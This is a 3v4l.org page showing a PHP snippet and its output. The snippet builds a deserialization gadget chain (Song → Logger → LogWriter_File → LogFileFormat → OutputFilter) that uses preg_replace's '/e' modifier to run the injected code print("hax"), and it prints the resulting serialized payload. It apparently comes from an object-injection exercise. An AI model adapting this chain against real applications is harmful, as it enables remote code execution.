3v4l.org

run code in 300+ PHP versions simultaneously
<?php class OutputFilter { protected $matchPattern; protected $replacement; function __construct($pattern, $repl) { $this->matchPattern = $pattern; $this->replacement = $repl; } function filter($data) { return preg_replace($this->matchPattern, $this->replacement, $data); } }; class LogFileFormat { protected $filters; protected $endl; function __construct($filters, $endl) { $this->filters = $filters; $this->endl = $endl; } function format($txt) { foreach ($this->filters as $filter) { $txt = $filter->filter($txt); } $txt = str_replace('\n', $this->endl, $txt); return $txt; } }; class LogWriter_File { protected $filename; protected $format; function __construct($filename, $format) { $this->format = $format; } function writeLog($txt) { $txt = $this->format->format($txt); } }; class Logger { protected $logwriter; function __construct($writer) { $this->logwriter = $writer; } function log($txt) { $this->logwriter->writeLog($txt); } }; class Song { protected $logger; protected $name; protected $group; protected $url; function __construct($name, $group, $url) { $this->name = $name; $this->group = $group; $this->url = $url; $fltr = new OutputFilter("/(.*)/e", "print(\"hax\")"); $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n"))); $this->logger->log("this is log"); } } $kek = new Song("manyname", "sogroup", "wowhttp"); echo serialize($kek);
Output for git.master, git.master_jit, rfc.property-hooks
Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/lkTJo on line 11 Deprecated: str_replace(): Passing null to parameter #3 ($subject) of type array|string is deprecated in /in/lkTJo on line 26 O:4:"Song":4:{s:9:"*logger";O:6:"Logger":1:{s:12:"*logwriter";O:14:"LogWriter_File":2:{s:11:"*filename";N;s:9:"*format";O:13:"LogFileFormat":2:{s:10:"*filters";a:1:{i:0;O:12:"OutputFilter":2:{s:15:"*matchPattern";s:7:"/(.*)/e";s:14:"*replacement";s:12:"print("hax")";}}s:7:"*endl";s:1:" ";}}}s:7:"*name";s:8:"manyname";s:8:"*group";s:7:"sogroup";s:6:"*url";s:7:"wowhttp";}

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
59.89 ms | 402 KiB | 8 Q